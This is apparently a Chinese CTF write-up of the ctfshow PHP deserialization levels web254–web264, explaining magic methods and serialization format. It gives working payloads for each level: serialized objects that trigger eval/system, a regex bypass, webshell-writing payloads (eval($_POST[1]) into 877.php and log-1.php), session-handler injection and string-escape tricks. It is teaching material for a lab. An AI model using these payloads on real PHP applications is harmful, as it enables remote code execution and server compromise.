1. 程式人生 > 其它 >ctfshow web入門反序列化

ctfshow web入門反序列化

先來點知識點

序列化和反序列化的概念:

序列化就是將物件轉換成字串。字串包括 屬性名 屬性值 屬性型別和該物件對應的類名。
反序列化則相反將字串重新恢復成物件。
物件的序列化利於物件的儲存和傳輸,也可以讓多個檔案共享物件。
serialize() (序列化)返回字串,此字串包含了表示 value 的位元組流,可以儲存於任何地方

序列化最重要的作用:

在傳遞和儲存物件時.保證物件的完整性和可傳遞性。物件轉換為有序位元組流,以便在網路上傳輸或者儲存在本地檔案中。

序列化和反序列化的目的:

使得程式間傳輸物件會更加方便

serialize() 返回字串,此字串包含了表示 value 的位元組流,可以儲存於任何地方

常用的魔術方法:(瞭解一下,後面要用)

 1. __sleep() //在物件被序列化之前執行
 2. __wakeup() //將在反序列化之後立即呼叫(當反序列化時變數個數與實際不符是會繞過)
 3. __construct() //當物件被建立時,會觸發進行初始化
 4. __destruct() //物件被銷燬時觸發
 5. __toString(): //當一個物件被當作字串使用時觸發
 6. __call() //在物件上下文中呼叫不可訪問的方法時觸發
 7. __callStatic() //在靜態上下文中呼叫不可訪問的方法時觸發
 8. __get() //獲得一個類的成員變數時呼叫,用於從不可訪問的屬性讀取資料
 9. __set() //用於將資料寫入不可訪問的屬性
 10. __isset() //在不可訪問的屬性上呼叫isset()或empty()觸發
 11. __unset() //在不可訪問的屬性上使用unset()時觸發
 12. __toString() //把類當作字串使用時觸發
 13. __invoke() //當指令碼嘗試將物件呼叫為函式時觸發

字串格式:

O:3:"Ctf":3{s:4:"flag";s:13:"flag{abedyui}";s:4:"name";s:7:"Sch0lar";s:3:"age";s:2:"18";}

O代表物件 因為我們序列化的是一個物件 序列化陣列則用A來表示
3 代表類名字佔三個字元 
ctf 類名
3 代表三個屬性
s代表字串
4代表屬性名長度
flag屬性名
s:13:"flag{abedyui}" 字串 屬性值長度 屬性值

訪問控制修飾符:

根據訪問控制修飾符的不同 序列化後的 屬性長度和屬性值會有所不同

public(公有)
protected(受保護)
private(私有的)
protected屬性被序列化的時候屬性值會變成:%00*%00屬性名
private屬性被序列化的時候屬性值會變成:%00類名%00屬性名

例如:
O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
            //這裡是private屬性被序列化
class一個類           new一個物件

具體參考:

https://www.cnblogs.com/HelloCTF/p/13044403.html

web254

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;  //讓當前isVIP的狀態為true,後面的$this->isVip也會變成true
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = new ctfShowUser();            //new一個類,但是沒有什麼程式碼可執行的
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
} 

這道題不用傳入反序列化的字元

?username=xxxxxx&password=xxxxxx

web255

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip; 
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;    //global  全域性變數
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    //會接受一個cookie變數
    if($user->login($username,$password)){    //上面的函式方法
        if($user->checkVip()){                //上面的函式方法
            $user->vipOneKeyGetFlag();        //上面的函式方法
        }
    }else{
        echo "no vip,no flag";
    }
}

因為$user = unserialize($_COOKIE['user']); if($user->login($username,$password)){

所以我們需要讓反序列後的結果是ctfShowUser的例項化物件。又因為只有$this->isVip是true才能是flag,所以反序列化的內容為

<?php
class ctfShowUser{
	public $username='xxxxxx';
    public $password='xxxxxx'; 
    public $isVip=true;
}
$a=serialize(new ctfShowUser);
echo serialize(new ctfShowUser);
echo "\n";
echo urlencode($a);
echo "\n";

然後需要對cookie進行修改,再傳入引數就行了

cookie:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

get:
?username=xxxxxx&password=xxxxxx

web256

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){            //這裡是進行登入接收
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){      //這裡不一樣
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

這裡需要讓username和password不一樣

<?php
class ctfShowUser{
	public $username='xxxxxx';
	public $password='111';
	public $isVip=true;}
$a = serialize(new ctfShowUser());
echo urlencode($a);
?>
cookie:
user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A3%3A%22111%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

get:
?username=xxxxxx&password=111

web257


error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);                 //危險函式eval
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}
__construct當物件被建立的時候自動呼叫,對物件進行初始化。當所有的操作執行完畢之後,需要釋放序列化的物件,觸發__destruct()魔術方法
因為有eval($this->code);危險函式,所以就不需要登入(login)
直接new backDoor這個類,把code變數改了,執行eval

構造:

長的:

<?php

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'backDoor';

    public function __construct(){
        $this->class=new backDoor();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code='system("tac flag.php");';
    public function getInfo(){
        eval($this->code);
    }
}

$a=new ctfShowUser();
echo urlencode(serialize($a));

稍微簡潔點的:

<?php
class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    public function __construct(){
        $this->class=new backDoor();
    }
    public function __destruct(){
        $this->class->getInfo();
    }
}
class backDoor{
    private $code="system("tac f*");";
    public function getInfo(){
        eval($this->code);
    }
}
$a = serialize(new ctfShowUser());
echo urlencode($a);
?>

最簡:

<?php
class ctfShowUser{
    public $class = 'backDoor';
	public function __construct(){
        $this->class=new backDoor();
    }
}
class backDoor{
    public $code='system("tac flag.php");';
    
}
echo urlencode(serialize(new ctfShowUser));
?>

傳值:

cookie:
user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A17%3A%22system%28%27tac+f%2A%27%29%3B%22%3B%7D%7D

get:
?username=xxxxxx&password=xxxxxx

web258

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}

和上題一樣,多加了正則匹配

/`[oc]:\d+:/i意思就是不能出現O:數字,我們用0:+數字即可繞過。`
[oc]: 就是正則匹配的意思
\d:  匹配一個數字字元。等價於 [0-9]。
 +:  匹配前面的子表示式一次或多次。例如,'zo+' 能匹配 "zo" 以及 "zoo",但不能匹配 "z"。+ 等價於 {1,}。
/i:  表示匹配的時候不區分大小寫

原本是O:數字,可以用0:+數字繞過

構造:

<?php
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'backDoor';

    public function __construct(){
        $this->class=new backDoor();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code="system('tac f*');";
    public function getInfo(){
        eval($this->code);
    }
}
echo serialize(new ctfShowUser);
?>
O:11:"ctfShowUser":4:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:0;s:5:"class";O:8:"backDoor":1:{s:4:"code";s:17:"system('tac f*');";}}
改後:
O:+11:"ctfShowUser":4:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:0;s:5:"class";O:+8:"backDoor":1:{s:4:"code";s:17:"system('tac f*');";}}
//url編碼
cookie:
user=O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A0%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A17%3A%22system('tac%20f*')%3B%22%3B%7D%7D

get:
?username=xxxxxx&password=xxxxxx

web259(沒做。。。)

<?php

highlight_file(__FILE__);


$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

flag.php

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
	die('error');
}else{
	$token = $_POST['token'];
	if($token=='ctfshow'){
		file_put_contents('flag.txt',$flag);
	}
}
explode() 函式把字串打散為陣列。
explode(separator,string,limit)
separator 	必需。規定在哪裡分割字串。
string 	必需。要分割的字串。

array_pop() 函式刪除陣列中的最後一個元素。

參考:

https://www.cnblogs.com/hetianlab/p/15194462.html

https://wooyun.js.org/drops/CRLF%20Injection%E6%BC%8F%E6%B4%9E%E7%9A%84%E5%88%A9%E7%94%A8%E4%B8%8E%E5%AE%9E%E4%BE%8B%E5%88%86%E6%9E%90.html

https://y4tacker.blog.csdn.net/article/details/110521104

web260

<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){   //序列化get傳入的值
    echo $flag;
}

我們只要傳入的get包含ctfshow_i_love_36D就可以了

?ctfshow=ctfshow_i_love_36D

?ctfshow=s:18:"ctfshow_i_love_36D"

或者這樣:

<?php
class ctfshow{
    public $a='ctfshow_i_love_36D';
}
echo serialize(new ctfshow());
?>
?ctfshow=O:7:"ctfshow":1:{s:1:"a";s:18:"ctfshow_i_love_36D";}

web261

<?php

highlight_file(__FILE__);

class ctfshowvip{
    public $username;
    public $password;
    public $code;

    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function __wakeup(){
        if($this->username!='' || $this->password!=''){
            die('error');
        }
    }
    public function __invoke(){
        eval($this->code);              
    }

    public function __sleep(){
        $this->username='';
        $this->password='';
    }
    public function __unserialize($data){
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }
    public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }
}

unserialize($_GET['vip']);
如果類中同時定義了 __unserialize() 和 __wakeup() 兩個魔術方法,
則只有 __unserialize() 方法會生效,__wakeup() 方法會被忽略。
當反序列化時會進入__unserialize中
而且也沒有什麼方法可以進入到__invoke中,所以無法利用危險函式eval
所以直接就朝著寫檔案搞就可以了。
只要滿足code==0x36d(877)就可以了。
而code是username和password拼接出來的。
所以只要username=877.php password=shell就可以了。
877.php==877是成立的(弱型別比較)
利用__construct函式把username和password寫進去

構造:

<?php
class ctfshowvip{
    public $username;
    public $password;

    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
}
$a=new ctfshowvip('877.php','<?php eval($_POST[1]);?>');
echo serialize($a);
O:10:"ctfshowvip":2:{s:8:"username";s:7:"877.php";s:8:"password";s:24:"<?php eval($_POST[1]);?>";}

payload:

?vip=O:10:"ctfshowvip":2:{s:8:"username";s:7:"877.php";s:8:"password";s:24:"<?php eval($_POST[1]);?>";}
訪問877.php,並post傳入:1=phpinfo();
成功rce

1=system("ls /");
1=system("cat /flag_is_here");

web262(反序列化字串逃逸)

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 02:37:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: [email protected]
# @link: https://ctfer.com

*/


error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}

highlight_file(__FILE__);

註釋裡面有message.php

訪問看看:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 15:13:03
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: [email protected]
# @link: https://ctfer.com

*/
highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}
反序列化字串逃逸:
https://blog.csdn.net/miuzzx/article/details/104598338

https://blog.csdn.net/weixin_45669205/article/details/114163197

https://blog.csdn.net/qq_43431158/article/details/108210822?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522163567204116780271573129%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=163567204116780271573129&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduend~default-3-108210822.pc_search_all_es&utm_term=%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E9%80%83%E9%80%B8&spm=1018.2226.3001.4187
setcookie(name,value,expire,path,domain,secure)
name 	必需。規定 cookie 的名稱。
value 	必需。規定 cookie 的值。
expire 	可選。規定 cookie 的有效期。
path 	可選。規定 cookie 的伺服器路徑。
domain 	可選。規定 cookie 的域名。
secure 	可選。規定是否通過安全的 HTTPS 連線來傳輸 cookie。

先分析:

拿到flag的條件是$msg->token=='admin',但題中token的值是user,再看$umsg = str_replace('fuck', 'loveU', serialize($msg))這個替換語句,將$msg序列化後,4個字元長度的fuck替換成5個字元長度loveU。然後進行base64加密,傳入cookie命名為msg,再將cookie傳入的值msg進行base64解碼,並進行反序列化,最後拿去比較token=='admin'

php反序列化的特點:

php在反序列化時,底層程式碼是以 ; 作為欄位的分隔,以 } 作為結尾,並且是根據長度判斷內容的 ,同時反序列化的過程中必須嚴格按照序列化規則才能成功實現反序列化 。

要讓判斷token=='admin',序列化的形式應該這樣:O:7:"message":1:{s:5:"token";s:5:"admin";}反序列化出來就是class message{ public $token='admin';}

//s:5:"token";s:5:"admin";24個字元

<?php 
class message{
    public $from='d';
    public $msg='m';
    public $to='1';
    public $token='user';
    }
$msg= serialize(new message);
echo $msg;
output:  
O:7:"message":4:{s:4:"from";s:1:"d";s:3:"msg";s:1:"m";s:2:"to";s:1:"1";s:5:"token";s:4:"user";} 

我們可以利用$to這個變數,利用PHP反序列化的特點,即},將s:5:"token";s:4:"user";分隔開,然後將

s:5:"token";s:5:"admin";放進去,所以我們進行構造,注意閉合

//";s:5:"token";s:5:"admin";} 這一共27個字元長度就是我們需要插入的字串

<?php 
class message{
    public $from='d';
    public $msg='m';
    public $to='1";s:5:"token";s:5:"admin";}';
    public $token='user';
    }
$msg= serialize(new message);
echo $msg;

output:  
O:7:"message":4:O:7:"message":4:{s:4:"from";s:1:"d";s:3:"msg";s:1:"m";s:2:"to";s:28:"1";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}  

但是這個output不能直接使用,因為s:2:"to";s:28:"1";,這裡會讓PHP預設to的值為1,但長度出錯了

這時候我們就可以用前面的str_replace('fuck', 'loveU', serialize($msg));語句

利用loveU替換fuck補充這27的差值,一個fuck比一個loveU多一個長度,27個fuck就會多出27個長度

<?php 
class message{
    public $from='d';
    public $msg='m';
    public $to='1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';
    public $token='user';
    }
$msg= serialize(new message);
echo $msg;

output:  
O:7:"message":4:{s:4:"from";s:1:"d";s:3:"msg";s:1:"m";s:2:"to";s:136:"1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}

替換後:
O:7:"message":4:{s:4:"from";s:1:"d";s:3:"msg";s:1:"m";s:2:"to";s:136:"1loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}

此時to的值就不會出錯了

s:2:"to";s:136:"1loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";
因為有},所以";s:5:"token";s:4:"user";}這一段就被自動分隔開了
序列化後token=admin

所以即使題目預設$token='user',也可以使用替換來進行長度變化

payload;

get:
?f=1&m=2&t=6fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

web263

存在www.zip,下載過後,發現裡面有四個php檔案

分別是index.php check.php flag.php inc.php

內容為(只擷取需要用的部分):

index.php

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-03 16:28:37
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-06 19:21:45
# @email: [email protected]
# @link: https://ctfer.com

*/
	error_reporting(0);
	session_start();
	//超過5次禁止登陸
	if(isset($_SESSION['limit'])){
		$_SESSION['limti']>5?die("登陸失敗次數超過限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
		$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
	}else{
		 setcookie("limit",base64_encode('1'));
		 $_SESSION['limit']= 1;
	}
	
?>

check.php

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-03 16:59:10
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-06 19:15:38
# @email: [email protected]
# @link: https://ctfer.com

*/

error_reporting(0);
require_once 'inc/inc.php';
$GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);


if($GET){

	$data= $db->get('admin',
	[	'id',
		'UserName0'
	],[
		"AND"=>[
		"UserName0[=]"=>$GET['u'],
		"PassWord1[=]"=>$GET['pass'] //密碼必須為128位大小寫字母+數字+特殊符號,防止爆破
		]
	]);                      //呼叫資料庫
	if($data['id']){
		//登陸成功取消次數累計
		$_SESSION['limit']= 0;
		echo json_encode(array("success","msg"=>"歡迎您".$data['UserName0']));
		                                                //成功進入會出現  歡迎您
	}else{                         
		//登陸失敗累計次數加1
		$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);
		echo json_encode(array("error","msg"=>"登陸失敗"));
	}
}

flag.php(這個沒啥用)

$flag="flag_here";

inc.php

<?php
error_reporting(0);
ini_set('display_errors', 0);
ini_set('session.serialize_handler', 'php');
date_default_timezone_set("Asia/Shanghai");
session_start();
use \CTFSHOW\CTFSHOW; 
require_once 'CTFSHOW.php';
$db = new CTFSHOW([
    'database_type' => 'mysql',
    'database_name' => 'web',
    'server' => 'localhost',
    'username' => 'root',
    'password' => 'root',
    'charset' => 'utf8',
    'port' => 3306,
    'prefix' => '',
    'option' => [
        PDO::ATTR_CASE => PDO::CASE_NATURAL
    ]
]);

// sql注入檢查
function checkForm($str){
    if(!isset($str)){
        return true;
    }else{
    return preg_match("/select|update|drop|union|and|or|ascii|if|sys|substr|sleep|from|where|0x|hex|bin|char|file|ord|limit|by|\`|\~|\!|\@|\#|\\$|\%|\^|\\|\&|\*|\(|\)|\(|\)|\+|\=|\[|\]|\;|\:|\'|\"|\<|\,|\>|\?/i",$str);
    }
}


class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
    function __destruct(){
        file_put_contents("log-".$this->username, "使用".$this->password."登陸".($this->status?"成功":"失敗")."----".date_create()->format('Y-m-d H:i:s'));
    }
}

可以看到inc.php檔案中有ini_set('session.serialize_handler', 'php');,這表明它使用的是PHP引擎

其中session.serialize_handler是用來設定session的序列話引擎的

不同的引擎所對應的session的儲存方式不相同。

php_binary:儲存方式是,鍵名的長度對應的ASCII字元+鍵名+經過serialize()函式序列化處理的值

php:儲存方式是,鍵名+豎線+經過serialize()函式序列處理的值

php_serialize(php>5.5.4):儲存方式是,經過serialize()函式序列化處理的值 

session 的目錄在 /var/lib/php/sessions 中,如果我們執行下面的程式碼

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['name'] = 'spoock';
var_dump($_SESSION);

在 php_serialize 引擎下,會生成一個session檔案,session檔案中儲存的資料為:

a:1:{s:4:"name";s:6:"spoock";}

php 引擎下檔案內容為:

name|s:6:"spoock";

php_binary 引擎下檔案內容為:

names:6:"spoock";

PHP Session中的序列化危害

如果在PHP反序列化儲存的$_SESSION資料時使用的引擎和序列化使用的引擎不一樣時,會導致資料無法正確的反序列化。通過精心構造的資料包,就可以繞過程式的驗證或者是執行一些系統的方法。如:

假如說有一個PHP檔案:

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['ryat'] = '|O:1:"A":1:{s:1:"a";s:2:"xx";}';

訪問後會生成一個session檔案,檔案內容為:

a:1:{s:4:"ryat";s:30:"|O:1:"A":1:{s:1:"a";s:2:"xx";}

但如果此時在其他頁面使用php引擎來讀取session檔案時

訪問該頁面會輸出:

object(A)#1 (1) {
  ["a"]=>
  string(2) "xx"
 }
這是因為當使用php引擎的時候,php引擎會以|作為作為key和value的分隔符,那麼就會將 a:1:{s:4:"ryat";s:30:" 作為SESSION的key,將 O:1:"A":1:{s:1:"a";s:2:"xx";} 作為value,然後進行反序列化,最後就會得到A這個類。

這種由於序列化和反序列化所使用的不一樣的引擎就是造成PHP Session序列話漏洞的原因。漏洞在載入使用php引擎的頁面時session去讀session中的內容並反序列化導致漏洞觸發,不需要任何輸出
參考部落格:
https://www.jb51.net/article/116246.htm
https://blog.csdn.net/qq_43431158/article/details/99544797

回到這道題:

我們要利用的肯定是inc.php檔案中的file_put_contents函式

將一句話寫進去

先說一下思路:

第一步
肯定是先看index.php檔案(這個檔案用的是php_serialize引擎),先看這句話:
$_SESSION['limti']>5?die("登陸失敗次數超過限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
這句話肯定是不成立的,因為session裡沒有limti,所以這句話恆不成立,只會執行後面這一句
$_SESSION['limit']=base64_decode($_COOKIE['limit']);
下面這一句話:$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
只是對$_COOKIE['limit'])進行覆蓋,不用管
所以我們需要傳入經過base64加密的limit的cookie值
再看check.php檔案:
require_once 'inc/inc.php';
他會呼叫inc.php中的ini_set('session.serialize_handler', 'php');
所以check.php用的是php引擎
$GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);
需要get傳入u變數和pass變數
最後看inc.php檔案:
該檔案用的是php引擎
這裡面有一個User類(class User),就這一個類,肯定是要用的
最重要的是,要利用file_put_contents()函式
注意:傳入一句話後,訪問時要加上log-頭

構造鏈子:

<?php
class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
}
$user = new User('1.php','<?php eval($_POST[1]);phpinfo();?>');
echo serialize($user);
echo("\n");
echo base64_encode('|'.serialize($user));

output:
O:4:"User":3:{s:8:"username";s:5:"1.php";s:8:"password";s:34:"<?php eval($_POST[1]);phpinfo();?>";s:6:"status";N;}

fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czozNDoiPD9waHAgZXZhbCgkX1BPU1RbMV0pO3BocGluZm8oKTs/PiI7czo2OiJzdGF0dXMiO047fQ==

具體實操:

先訪問index.php,修改limit的cookie為

fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czozNDoiPD9waHAgZXZhbCgkX1BPU1RbMV0pO3BocGluZm8oKTs/PiI7czo2OiJzdGF0dXMiO047fQ==

execute

寫進去之後,訪問check.php?u=123&pass=123

execute

最後訪問log-1.php,成功rce

post;
1=system('tac f*.php');

web264

error_reporting(0);
session_start();

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    $_SESSION['msg']=base64_encode($umsg);
    echo 'Your message has been sent';
}

highlight_file(__FILE__);